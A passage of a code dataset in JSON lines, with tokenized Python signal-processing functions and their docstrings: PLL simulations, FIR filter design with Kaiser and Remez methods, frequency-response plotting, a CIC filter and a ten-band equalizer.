np.arange(len(theta))<EOL>theta_hat = np.zeros_like(theta)<EOL>ev = np.zeros_like(theta)<EOL>phi = np.zeros_like(theta)<EOL>for k in  range(len(n)):<EOL><INDENT>phi[k] = theta[k] - vco_out<EOL>if non_lin == <NUM_LIT:1>:<EOL><INDENT>pd_out = np.sin(phi[k])<EOL><DEDENT>else:<EOL><INDENT>pd_out = phi[k]<EOL><DEDENT>gain_out = K/Kv*pd_out <EOL>if loop_type == <NUM_LIT:2>:<EOL><INDENT>filt_in = (<NUM_LIT:1>/tau2)*gain_out<EOL>filt_out = filt_out_last + T/<NUM_LIT:2>*(filt_in + filt_in_last)<EOL>filt_in_last = filt_in<EOL>filt_out_last = filt_out<EOL>filt_out = filt_out + gain_out<EOL><DEDENT>elif loop_type == <NUM_LIT:3>:<EOL><INDENT>filt_in = (tau2/tau1)*gain_out - (<NUM_LIT:1>/tau1)*filt_out_last<EOL>u3 = filt_in + (<NUM_LIT:1>/tau2)*filt_out_last<EOL>filt_out = filt_out_last + T/<NUM_LIT:2>*(filt_in + filt_in_last)<EOL>filt_in_last = filt_in<EOL>filt_out_last = filt_out<EOL><DEDENT>else:<EOL><INDENT>filt_out = gain_out;<EOL><DEDENT>vco_in = filt_out<EOL>if loop_type == <NUM_LIT:3>:<EOL><INDENT>vco_in = u3<EOL><DEDENT>vco_out = vco_out_last + T/<NUM_LIT:2>*(vco_in + vco_in_last)<EOL>vco_in_last = vco_in<EOL>vco_out_last = vco_out<EOL>vco_out = Kv*vco_out <EOL>ev[k] = vco_in<EOL>theta_hat[k] = vco_out<EOL><DEDENT>return theta_hat, ev, phi<EOL>", "docstring": "Baseband Analog PLL Simulation Model\n\n:param theta: input phase deviation in radians\n:param fs: sampling rate in sample per second or Hz\n:param loop_type: 1, first-order loop filter F(s)=K_LF; 2, integrator\n            with lead compensation F(s) = (1 + s tau2)/(s tau1),\n            i.e., a type II, or 3, lowpass with lead compensation\n            F(s) = (1 + s tau2)/(1 + s tau1)\n:param Kv: VCO gain in Hz/v; note presently assume Kp = 1v/rad\n            and K_LF = 1; the user can easily change this\n:param fn: Loop natural frequency (loops 2 & 3) or cutoff\n            frquency (loop 1)\n:param zeta: Damping factor for loops 2 & 3\n:param non_lin: 0, linear phase detector; 1, sinusoidal phase detector\n:return: theta_hat = Output phase estimate of the input theta in radians,\n         ev = VCO control voltage,\n         phi = phase error = theta - theta_hat\n\nNotes\n-----\nAlternate input in place of natural frequency, fn, in Hz is\nthe noise equivalent bandwidth Bn in Hz.\n\n\nMark Wickert, April 2007 for ECE 5625/4625\nModified February 2008 and July 2014 for ECE 5675/4675\nPython version August 2014", "id": "f14907:m4"}
{"signature": "def PLL_cbb(x,fs,loop_type,Kv,fn,zeta):", "body": "T = <NUM_LIT:1>/float(fs)<EOL>Kv = <NUM_LIT:2>*np.pi*Kv <EOL>if loop_type == <NUM_LIT:1>:<EOL><INDENT>K = <NUM_LIT:2>*np.pi*fn <EOL><DEDENT>elif loop_type == <NUM_LIT:2>:<EOL><INDENT>K = <NUM_LIT:4> *np.pi*zeta*fn <EOL>tau2 = zeta/(np.pi*fn)<EOL><DEDENT>elif loop_type == <NUM_LIT:3>:<EOL><INDENT>K = Kv <EOL>tau1 = K/((<NUM_LIT:2>*np.pi*fn)^<NUM_LIT:2>);<EOL>tau2 = <NUM_LIT:2>*zeta/(<NUM_LIT:2>*np.pi*fn)*(<NUM_LIT:1> - <NUM_LIT:2>*np.pi*fn/K*<NUM_LIT:1>/(<NUM_LIT:2>*zeta))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>filt_in_last = <NUM_LIT:0>; filt_out_last = <NUM_LIT:0>;<EOL>vco_in_last = <NUM_LIT:0>; vco_out = <NUM_LIT:0>; vco_out_last = <NUM_LIT:0>;<EOL>vco_out_cbb = <NUM_LIT:0><EOL>n = np.arange(len(x))<EOL>theta_hat = np.zeros(len(x))<EOL>ev = np.zeros(len(x))<EOL>phi = np.zeros(len(x))<EOL>for k in  range(len(n)):<EOL><INDENT>phi[k] = np.imag(x[k] * np.conj(vco_out_cbb))<EOL>pd_out = phi[k]<EOL>gain_out = K/Kv*pd_out <EOL>if loop_type == <NUM_LIT:2>:<EOL><INDENT>filt_in = (<NUM_LIT:1>/tau2)*gain_out<EOL>filt_out = filt_out_last + T/<NUM_LIT:2>*(filt_in + filt_in_last)<EOL>filt_in_last = filt_in<EOL>filt_out_last = filt_out<EOL>filt_out = filt_out + gain_out<EOL><DEDENT>elif loop_type == <NUM_LIT:3>:<EOL><INDENT>filt_in = (tau2/tau1)*gain_out - (<NUM_LIT:1>/tau1)*filt_out_last<EOL>u3 = filt_in + (<NUM_LIT:1>/tau2)*filt_out_last<EOL>filt_out = filt_out_last + T/<NUM_LIT:2>*(filt_in + filt_in_last)<EOL>filt_in_last = filt_in<EOL>filt_out_last = filt_out<EOL><DEDENT>else:<EOL><INDENT>filt_out = gain_out;<EOL><DEDENT>vco_in = filt_out<EOL>if loop_type == <NUM_LIT:3>:<EOL><INDENT>vco_in = u3<EOL><DEDENT>vco_out = vco_out_last + T/<NUM_LIT:2>*(vco_in + vco_in_last)<EOL>vco_in_last = vco_in<EOL>vco_out_last = vco_out<EOL>vco_out = Kv*vco_out <EOL>vco_out_cbb = np.exp(<NUM_LIT>*vco_out)<EOL>ev[k] = vco_in<EOL>theta_hat[k] = vco_out<EOL><DEDENT>return theta_hat, ev, phi<EOL>", "docstring": "Baseband Analog PLL Simulation Model\n\n:param x: input phase deviation in radians\n:param fs: sampling rate in sample per second or Hz\n:param loop_type: 1, first-order loop filter F(s)=K_LF; 2, integrator\n            with lead compensation F(s) = (1 + s tau2)/(s tau1),\n            i.e., a type II, or 3, lowpass with lead compensation\n            F(s) = (1 + s tau2)/(1 + s tau1)\n:param Kv: VCO gain in Hz/v; note presently assume Kp = 1v/rad\n            and K_LF = 1; the user can easily change this\n:param fn: Loop natural frequency (loops 2 & 3) or cutoff\n            frequency (loop 1)\n:param zeta: Damping factor for loops 2 & 3\n:return: theta_hat = Output phase estimate of the input theta in radians,\n         ev = VCO control voltage,\n         phi = phase error = theta - theta_hat\n\nMark Wickert, April 2007 for ECE 5625/4625\nModified February 2008 and July 2014 for ECE 5675/4675\nPython version August 2014", "id": "f14907:m5"}
{"signature": "def firwin_lpf(N_taps, fc, fs = <NUM_LIT:1.0>):", "body": "return signal.firwin(N_taps,<NUM_LIT:2>*fc/fs)<EOL>", "docstring": "Design a windowed FIR lowpass filter in terms of passband\ncritical frequencies f1 < f2 in Hz relative to sampling rate\nfs in Hz. The number of taps must be provided.\n\nMark Wickert October 2016", "id": "f14908:m0"}
{"signature": "def firwin_bpf(N_taps, f1, f2, fs = <NUM_LIT:1.0>, pass_zero=False):", "body": "return signal.firwin(N_taps,<NUM_LIT:2>*(f1,f2)/fs,pass_zero=pass_zero)<EOL>", "docstring": "Design a windowed FIR bandpass filter in terms of passband\ncritical frequencies f1 < f2 in Hz relative to sampling rate\nfs in Hz. The number of taps must be provided.\n\nMark Wickert October 2016", "id": "f14908:m1"}
{"signature": "def firwin_kaiser_lpf(f_pass, f_stop, d_stop, fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:0>):", "body": "wc = <NUM_LIT:2>*np.pi*(f_pass + f_stop)/<NUM_LIT:2>/fs<EOL>delta_w = <NUM_LIT:2>*np.pi*(f_stop - f_pass)/fs<EOL>M = np.ceil((d_stop - <NUM_LIT:8>)/(<NUM_LIT>*delta_w))<EOL>M += N_bump<EOL>N_taps = M + <NUM_LIT:1><EOL>beta = signal.kaiser_beta(d_stop)<EOL>w_k = signal.kaiser(N_taps,beta)<EOL>n = np.arange(N_taps)<EOL>b_k = wc/np.pi*np.sinc(wc/np.pi*(n-M/<NUM_LIT:2>)) * w_k<EOL>b_k /= np.sum(b_k)<EOL>print('<STR_LIT>' % N_taps)<EOL>return b_k<EOL>", "docstring": "Design an FIR lowpass filter using the sinc() kernel and\na Kaiser window. The filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\nNote: the passband ripple cannot be set independent of the\nstopband attenuation.\n\nMark Wickert October 2016", "id": "f14908:m2"}
{"signature": "def firwin_kaiser_hpf(f_stop, f_pass, d_stop, fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:0>):", "body": "<EOL>f_pass_eq = fs/<NUM_LIT> - f_pass<EOL>f_stop_eq = fs/<NUM_LIT> - f_stop<EOL>wc = <NUM_LIT:2>*np.pi*(f_pass_eq + f_stop_eq)/<NUM_LIT:2>/fs<EOL>delta_w = <NUM_LIT:2>*np.pi*(f_stop_eq - f_pass_eq)/fs<EOL>M = np.ceil((d_stop - <NUM_LIT:8>)/(<NUM_LIT>*delta_w))<EOL>M += N_bump<EOL>N_taps = M + <NUM_LIT:1><EOL>beta = signal.kaiser_beta(d_stop)<EOL>w_k = signal.kaiser(N_taps,beta)<EOL>n = np.arange(N_taps)<EOL>b_k = wc/np.pi*np.sinc(wc/np.pi*(n-M/<NUM_LIT:2>)) * w_k<EOL>b_k /= np.sum(b_k)<EOL>n = np.arange(len(b_k))<EOL>b_k *= (-<NUM_LIT:1>)**n<EOL>print('<STR_LIT>' % N_taps)<EOL>return b_k<EOL>", "docstring": "Design an FIR highpass filter using the sinc() kernel and\na Kaiser window. The filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\nNote: the passband ripple cannot be set independent of the\nstopband attenuation.\n\nMark Wickert October 2016", "id": "f14908:m3"}
{"signature": "def firwin_kaiser_bpf(f_stop1, f_pass1, f_pass2, f_stop2, d_stop, <EOL>fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:0>):", "body": "<EOL>f_pass = (f_pass2 - f_pass1)/<NUM_LIT:2><EOL>f_stop = (f_stop2 - f_stop1)/<NUM_LIT:2><EOL>wc = <NUM_LIT:2>*np.pi*(f_pass + f_stop)/<NUM_LIT:2>/fs<EOL>delta_w = <NUM_LIT:2>*np.pi*(f_stop - f_pass)/fs<EOL>M = np.ceil((d_stop - <NUM_LIT:8>)/(<NUM_LIT>*delta_w))<EOL>M += N_bump<EOL>N_taps = M + <NUM_LIT:1><EOL>beta = signal.kaiser_beta(d_stop)<EOL>w_k = signal.kaiser(N_taps,beta)<EOL>n = np.arange(N_taps)<EOL>b_k = wc/np.pi*np.sinc(wc/np.pi*(n-M/<NUM_LIT:2>)) * w_k<EOL>b_k /= np.sum(b_k)<EOL>f0 = (f_pass2 + f_pass1)/<NUM_LIT:2><EOL>w0 = <NUM_LIT:2>*np.pi*f0/fs<EOL>n = np.arange(len(b_k))<EOL>b_k_bp = <NUM_LIT:2>*b_k*np.cos(w0*(n-M/<NUM_LIT:2>))<EOL>print('<STR_LIT>' % N_taps)<EOL>return b_k_bp<EOL>", "docstring": "Design an FIR bandpass filter using the sinc() kernel and\na Kaiser window. The filter order is determined based on \nf_stop1 Hz, f_pass1 Hz, f_pass2 Hz, f_stop2 Hz, and the \ndesired stopband attenuation d_stop in dB for both stopbands,\nall relative to a sampling rate of fs Hz.\nNote: the passband ripple cannot be set independent of the\nstopband attenuation.\n\nMark Wickert October 2016", "id": "f14908:m4"}
{"signature": "def firwin_kaiser_bsf(f_stop1, f_pass1, f_pass2, f_stop2, d_stop, <EOL>fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:0>):", "body": "<EOL>f_pass = (f_pass2 - f_pass1)/<NUM_LIT:2><EOL>f_stop = (f_stop2 - f_stop1)/<NUM_LIT:2><EOL>wc = <NUM_LIT:2>*np.pi*(f_pass + f_stop)/<NUM_LIT:2>/fs<EOL>delta_w = <NUM_LIT:2>*np.pi*(f_stop - f_pass)/fs<EOL>M = np.ceil((d_stop - <NUM_LIT:8>)/(<NUM_LIT>*delta_w))<EOL>M += N_bump<EOL>if ((M+<NUM_LIT:1>)/<NUM_LIT>-int((M+<NUM_LIT:1>)/<NUM_LIT>)) == <NUM_LIT:0>:<EOL><INDENT>M += <NUM_LIT:1><EOL><DEDENT>N_taps = M + <NUM_LIT:1><EOL>beta = signal.kaiser_beta(d_stop)<EOL>w_k = signal.kaiser(N_taps,beta)<EOL>n = np.arange(N_taps)<EOL>b_k = wc/np.pi*np.sinc(wc/np.pi*(n-M/<NUM_LIT:2>)) * w_k<EOL>b_k /= np.sum(b_k)<EOL>f0 = (f_pass2 + f_pass1)/<NUM_LIT:2><EOL>w0 = <NUM_LIT:2>*np.pi*f0/fs<EOL>n = np.arange(len(b_k))<EOL>b_k_bs = <NUM_LIT:2>*b_k*np.cos(w0*(n-M/<NUM_LIT:2>))<EOL>b_k_bs = -b_k_bs<EOL>b_k_bs[int(M/<NUM_LIT:2>)] += <NUM_LIT:1> <EOL>print('<STR_LIT>' % N_taps)<EOL>return b_k_bs<EOL>", "docstring": "Design an FIR bandstop filter using the sinc() kernel and\na Kaiser window. The filter order is determined based on \nf_stop1 Hz, f_pass1 Hz, f_pass2 Hz, f_stop2 Hz, and the \ndesired stopband attenuation d_stop in dB for both stopbands,\nall relative to a sampling rate of fs Hz.\nNote: The passband ripple cannot be set independent of the\nstopband attenuation.\nNote: The filter order is forced to be even (odd number of taps)\nso there is a center tap that can be used to form 1 - H_BPF.\n\nMark Wickert October 2016", "id": "f14908:m5"}
{"signature": "def lowpass_order(f_pass, f_stop, dpass_dB, dstop_dB, fsamp = <NUM_LIT:1>):", "body": "dpass = <NUM_LIT:1> - <NUM_LIT:10>**(-dpass_dB/<NUM_LIT:20>)<EOL>dstop = <NUM_LIT:10>**(-dstop_dB/<NUM_LIT:20>)<EOL>Df = (f_stop - f_pass)/fsamp<EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = -<NUM_LIT><EOL>a4 = -<NUM_LIT><EOL>a5 = -<NUM_LIT><EOL>a6 = -<NUM_LIT><EOL>Dinf = np.log10(dstop)*(a1*np.log10(dpass)**<NUM_LIT:2> + a2*np.log10(dpass) + a3)+ (a4*np.log10(dpass)**<NUM_LIT:2> + a5*np.log10(dpass) + a6)<EOL>f = <NUM_LIT> + <NUM_LIT>*(np.log10(dpass) - np.log10(dstop))<EOL>N = Dinf/Df - f*Df + <NUM_LIT:1><EOL>ff = <NUM_LIT:2>*np.array([<NUM_LIT:0>, f_pass, f_stop, fsamp/<NUM_LIT:2>])/fsamp<EOL>aa = np.array([<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>])<EOL>wts = np.array([<NUM_LIT:1.0>, dpass/dstop])<EOL>return int(N), ff, aa, wts<EOL>", "docstring": "Optimal FIR (equal ripple) Lowpass Order Determination\n\nText reference: Ifeachor, Digital Signal Processing a Practical Approach, \nsecond edition, Prentice Hall, 2002.\nJournal paper reference: Herriman et al., Practical Design Rules for Optimum\nFinite Imulse Response Digitl Filters, Bell Syst. Tech. J., vol 52, pp. \n769-799, July-Aug., 1973.IEEE, 1973.", "id": "f14908:m6"}
{"signature": "def bandpass_order(f_stop1, f_pass1, f_pass2, f_stop2, dpass_dB, dstop_dB, fsamp = <NUM_LIT:1>):", "body": "dpass = <NUM_LIT:1> - <NUM_LIT:10>**(-dpass_dB/<NUM_LIT:20>)<EOL>dstop = <NUM_LIT:10>**(-dstop_dB/<NUM_LIT:20>)<EOL>Df1 = (f_pass1 - f_stop1)/fsamp<EOL>Df2 = (f_stop2 - f_pass2)/fsamp<EOL>b1 = <NUM_LIT><EOL>b2 = <NUM_LIT><EOL>b3 = -<NUM_LIT><EOL>b4 = <NUM_LIT><EOL>b5 = -<NUM_LIT><EOL>b6 = -<NUM_LIT><EOL>Df = min(Df1, Df2)<EOL>Cinf = np.log10(dstop)*(b1*np.log10(dpass)**<NUM_LIT:2> + b2*np.log10(dpass) + b3)+ (b4*np.log10(dpass)**<NUM_LIT:2> + b5*np.log10(dpass) + b6)<EOL>g = -<NUM_LIT>*np.log10(dpass/dstop) - <NUM_LIT><EOL>N = Cinf/Df + g*Df + <NUM_LIT:1><EOL>ff = <NUM_LIT:2>*np.array([<NUM_LIT:0>, f_stop1, f_pass1, f_pass2, f_stop2, fsamp/<NUM_LIT:2>])/fsamp<EOL>aa = np.array([<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>])<EOL>wts = np.array([dpass/dstop, <NUM_LIT:1>, dpass/dstop])<EOL>return int(N), ff, aa, wts<EOL>", "docstring": "Optimal FIR (equal ripple) Bandpass Order Determination\n\nText reference: Ifeachor, Digital Signal Processing a Practical Approach, \nsecond edition, Prentice Hall, 2002.\nJournal paper reference: F. Mintzer & B. Liu, Practical Design Rules for Optimum\nFIR Bandpass Digital Filters, IEEE Transactions on Acoustics and Speech, pp. \n204-206, April,1979.", "id": "f14908:m7"}
{"signature": "def bandstop_order(f_stop1, f_pass1, f_pass2, f_stop2, dpass_dB, dstop_dB, fsamp = <NUM_LIT:1>):", "body": "dpass = <NUM_LIT:1> - <NUM_LIT:10>**(-dpass_dB/<NUM_LIT:20>)<EOL>dstop = <NUM_LIT:10>**(-dstop_dB/<NUM_LIT:20>)<EOL>Df1 = (f_pass1 - f_stop1)/fsamp<EOL>Df2 = (f_stop2 - f_pass2)/fsamp<EOL>b1 = <NUM_LIT><EOL>b2 = <NUM_LIT><EOL>b3 = -<NUM_LIT><EOL>b4 = <NUM_LIT><EOL>b5 = -<NUM_LIT><EOL>b6 = -<NUM_LIT><EOL>Df = min(Df1, Df2)<EOL>Cinf = np.log10(dstop)*(b1*np.log10(dpass)**<NUM_LIT:2> + b2*np.log10(dpass) + b3)+ (b4*np.log10(dpass)**<NUM_LIT:2> + b5*np.log10(dpass) + b6)<EOL>g = -<NUM_LIT>*np.log10(dpass/dstop) - <NUM_LIT><EOL>N = Cinf/Df + g*Df + <NUM_LIT:1><EOL>ff = <NUM_LIT:2>*np.array([<NUM_LIT:0>, f_stop1, f_pass1, f_pass2, f_stop2, fsamp/<NUM_LIT:2>])/fsamp<EOL>aa = np.array([<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL>wts = np.array([<NUM_LIT:2>, dpass/dstop, <NUM_LIT:2>])<EOL>return int(N), ff, aa, wts<EOL>", "docstring": "Optimal FIR (equal ripple) Bandstop Order Determination\n\nText reference: Ifeachor, Digital Signal Processing a Practical Approach, \nsecond edition, Prentice Hall, 2002.\nJournal paper reference: F. Mintzer & B. Liu, Practical Design Rules for Optimum\nFIR Bandpass Digital Filters, IEEE Transactions on Acoustics and Speech, pp. \n204-206, April,1979.", "id": "f14908:m8"}
{"signature": "def fir_remez_lpf(f_pass, f_stop, d_pass, d_stop, fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:5>):", "body": "n, ff, aa, wts = lowpass_order(f_pass, f_stop, d_pass, d_stop, fsamp=fs)<EOL>N_taps = n<EOL>N_taps += N_bump<EOL>b = signal.remez(N_taps, ff, aa[<NUM_LIT:0>::<NUM_LIT:2>], wts,Hz=<NUM_LIT:2>)<EOL>print('<STR_LIT>' % N_taps)<EOL>return b<EOL>", "docstring": "Design an FIR lowpass filter using remez with order\ndetermination. The filter order is determined based on \nf_pass Hz, fstop Hz, and the desired passband ripple \nd_pass dB and stopband attenuation d_stop dB all \nrelative to a sampling rate of fs Hz.\n\nMark Wickert October 2016, updated October 2018", "id": "f14908:m9"}
{"signature": "def fir_remez_hpf(f_stop, f_pass, d_pass, d_stop, fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:5>):", "body": "<EOL>f_pass_eq = fs/<NUM_LIT> - f_pass<EOL>f_stop_eq = fs/<NUM_LIT> - f_stop<EOL>n, ff, aa, wts = lowpass_order(f_pass_eq, f_stop_eq, d_pass, d_stop, fsamp=fs)<EOL>N_taps = n<EOL>N_taps += N_bump<EOL>b = signal.remez(N_taps, ff, aa[<NUM_LIT:0>::<NUM_LIT:2>], wts,Hz=<NUM_LIT:2>)<EOL>n = np.arange(len(b))<EOL>b *= (-<NUM_LIT:1>)**n<EOL>print('<STR_LIT>' % N_taps)<EOL>return b<EOL>", "docstring": "Design an FIR highpass filter using remez with order\ndetermination. The filter order is determined based on \nf_pass Hz, fstop Hz, and the desired passband ripple \nd_pass dB and stopband attenuation d_stop dB all \nrelative to a sampling rate of fs Hz.\n\nMark Wickert October 2016, updated October 2018", "id": "f14908:m10"}
{"signature": "def fir_remez_bpf(f_stop1, f_pass1, f_pass2, f_stop2, d_pass, d_stop, <EOL>fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:5>):", "body": "n, ff, aa, wts = bandpass_order(f_stop1, f_pass1, f_pass2, f_stop2, <EOL>d_pass, d_stop, fsamp=fs)<EOL>N_taps = n<EOL>N_taps += N_bump<EOL>b = signal.remez(N_taps, ff, aa[<NUM_LIT:0>::<NUM_LIT:2>], wts,Hz=<NUM_LIT:2>)<EOL>print('<STR_LIT>' % N_taps)<EOL>return b<EOL>", "docstring": "Design an FIR bandpass filter using remez with order\ndetermination. The filter order is determined based on \nf_stop1 Hz, f_pass1 Hz, f_pass2 Hz, f_stop2 Hz, and the \ndesired passband ripple d_pass dB and stopband attenuation\nd_stop dB all relative to a sampling rate of fs Hz.\n\nMark Wickert October 2016, updated October 2018", "id": "f14908:m11"}
{"signature": "def fir_remez_bsf(f_pass1, f_stop1, f_stop2, f_pass2, d_pass, d_stop, <EOL>fs = <NUM_LIT:1.0>, N_bump=<NUM_LIT:5>):", "body": "n, ff, aa, wts = bandstop_order(f_pass1, f_stop1, f_stop2, f_pass2, <EOL>d_pass, d_stop, fsamp=fs)<EOL>if np.mod(n,<NUM_LIT:2>) != <NUM_LIT:0>:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>N_taps = n<EOL>N_taps += N_bump<EOL>b = signal.remez(N_taps, ff, aa[<NUM_LIT:0>::<NUM_LIT:2>], wts, Hz=<NUM_LIT:2>,<EOL>maxiter = <NUM_LIT>, grid_density = <NUM_LIT:16>)<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>' % N_taps)<EOL>return b<EOL>", "docstring": "Design an FIR bandstop filter using remez with order\ndetermination. The filter order is determined based on \nf_pass1 Hz, f_stop1 Hz, f_stop2 Hz, f_pass2 Hz, and the \ndesired passband ripple d_pass dB and stopband attenuation\nd_stop dB all relative to a sampling rate of fs Hz.\n\nMark Wickert October 2016, updated October 2018", "id": "f14908:m12"}
{"signature": "def freqz_resp_list(b,a=np.array([<NUM_LIT:1>]),mode = '<STR_LIT>',fs=<NUM_LIT:1.0>,Npts = <NUM_LIT>,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "if type(b) == list:<EOL><INDENT>N_filt = len(b)<EOL><DEDENT>f = np.arange(<NUM_LIT:0>,Npts)/(<NUM_LIT>*Npts)<EOL>for n in range(N_filt):<EOL><INDENT>w,H = signal.freqz(b[n],a[n],<NUM_LIT:2>*np.pi*f)<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>plt.figure(figsize=fsize)<EOL><DEDENT>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,<NUM_LIT:20>*np.log10(np.abs(H)))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,np.angle(H))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif (mode.lower() == '<STR_LIT>') or (mode.lower() == '<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>theta = np.unwrap(np.angle(H))<EOL>theta2 = np.unwrap(<NUM_LIT:2>*theta)/<NUM_LIT><EOL>theta_dif = np.diff(theta2)<EOL>f_diff = np.diff(f)<EOL>Tg = -np.diff(theta2)/np.diff(w)<EOL>idx = np.nonzero(np.ravel(<NUM_LIT:20>*np.log10(H[:-<NUM_LIT:1>]) < -<NUM_LIT>))[<NUM_LIT:0>]<EOL>Tg[idx] = np.zeros(len(idx))<EOL>max_Tg = np.max(Tg)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>max_Tg /= fs<EOL>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg/fs)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>else:<EOL><INDENT>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s1 = '<STR_LIT>'<EOL>s2 = '<STR_LIT>'<EOL>print(s1 + s2)<EOL><DEDENT><DEDENT>", "docstring": "A method for displaying digital filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreq_resp(self,mode = 'dB',Npts = 1024)\n\nA method for displaying the filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreqz_resp(b,a=[1],mode = 'dB',Npts = 1024,fsize=(6,4))\n\n    b = ndarray of numerator coefficients\n    a = ndarray of denominator coefficents\n mode = display mode: 'dB' magnitude, 'phase' in radians, or \n        'groupdelay_s' in samples and 'groupdelay_t' in sec, \n        all versus frequency in Hz\n Npts = number of points to plot; default is 1024\nfsize = figure size; defult is (6,4) inches\n\nMark Wickert, January 2015", "id": "f14908:m13"}
{"signature": "def CIC(M, K):", "body": "if K == <NUM_LIT:1>:<EOL><INDENT>b = np.ones(M)<EOL><DEDENT>else:<EOL><INDENT>h = np.ones(M)<EOL>b = h<EOL>for i in range(<NUM_LIT:1>, K):<EOL><INDENT>b = signal.convolve(b, h)  <EOL><DEDENT><DEDENT>return b / np.sum(b)<EOL>", "docstring": "A functional form implementation of a cascade of integrator comb (CIC) filters.\n\nParameters\n----------\nM : Effective number of taps per section (typically the decimation factor).\nK : The number of CIC sections cascaded (larger K gives the filter a wider image rejection bandwidth).\n\nReturns\n-------\nb : FIR filter coefficients for a simple direct form implementation using the filter() function.\n\nNotes\n-----\nCommonly used in multirate signal processing digital down-converters and digital up-converters. A true CIC filter\nrequires no multiplies, only add and subtract operations. The functional form created here is a simple FIR requiring\nreal coefficient multiplies via filter().\n\nMark Wickert July 2013", "id": "f14910:m0"}
{"signature": "def ten_band_eq_filt(x,GdB,Q=<NUM_LIT>):", "body": "fs = <NUM_LIT> <EOL>NB = len(GdB)<EOL>if not NB == <NUM_LIT:10>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>Fc = <NUM_LIT>*<NUM_LIT:2>**np.arange(NB)<EOL>B = np.zeros((NB,<NUM_LIT:3>))<EOL>A = np.zeros((NB,<NUM_LIT:3>))<EOL>for k in range(NB):<EOL><INDENT>[b,a] = peaking(GdB[k],Fc[k],Q)<EOL>B[k,:] = b<EOL>A[k,:] = a<EOL><DEDENT>y = np.zeros(len(x))<EOL>for k in range(NB):<EOL><INDENT>if k == <NUM_LIT:0>:<EOL><INDENT>y = signal.lfilter(B[k,:],A[k,:],x)<EOL><DEDENT>else:<EOL><INDENT>y = signal.lfilter(B[k,:],A[k,:],y)<EOL><DEDENT><DEDENT>return y<EOL>", "docstring": "Filter the input signal x with a ten-band equalizer having octave gain values in ndarray GdB.\n\nThe signal x is filtered using octave-spaced peaking filters starting at 31.25 Hz and\nstopping at 16 kHz. The Q of each filter is 3.5, but can be changed. The sampling rate\nis assumed to be 44.1 kHz. \n\nParameters\n----------\nx : ndarray of the input signal samples\nGdB : ndarray containing ten octave band gain values [G0dB,...,G9dB]\nQ : Quality factor vector for each of the NB peaking filters\n\nReturns\n-------\ny : ndarray of output signal samples\n\nExamples\n--------\n>>> # Test with white noise\n>>> w = randn(100000)\n>>> y = ten_band_eq_filt(x,GdB)\n>>> psd(y,2**10,44.1)", "id": "f14910:m1"}
{"signature": "def ten_band_eq_resp(GdB,Q=<NUM_LIT>):", "body": "fs = <NUM_LIT> <EOL>NB = len(GdB)<EOL>if not NB == <NUM_LIT:10>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>Fc = <NUM_LIT>*<NUM_LIT:2>**np.arange(NB)<EOL>B = np.zeros((NB,<NUM_LIT:3>));<EOL>A = np.zeros((NB,<NUM_LIT:3>));<EOL>for k in range(NB):<EOL><INDENT>b,a = peaking(GdB[k],Fc[k],Q,fs)<EOL>B[k,:] = b<EOL>A[k,:] = a<EOL><DEDENT>F = np.logspace(<NUM_LIT:1>,np.log10(<NUM_LIT>),<NUM_LIT:1000>)<EOL>H = np.ones(len(F))*np.complex(<NUM_LIT:1.0>,<NUM_LIT:0.0>)<EOL>for k in range(NB):<EOL><INDENT>w,Htemp = signal.freqz(B[k,:],A[k,:],<NUM_LIT:2>*np.pi*F/fs)<EOL>H *= 